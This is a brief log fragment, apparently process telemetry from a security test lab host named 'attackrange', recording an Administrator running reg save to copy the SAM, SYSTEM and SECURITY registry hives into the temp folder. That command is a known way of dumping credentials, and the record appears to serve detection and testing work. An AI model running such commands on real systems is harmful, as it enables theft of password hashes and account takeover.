ar-win-2.attackrange.local Administrator "cmd.exe" /c "reg save HKLM\sam %temp%\sam &amp; reg save HKLM\system %temp%\system &amp; reg save HKLM\security %temp%\security" reg.exe reg  save HKLM\system C:\Users\ADMINI~1\AppData\Local\Temp\system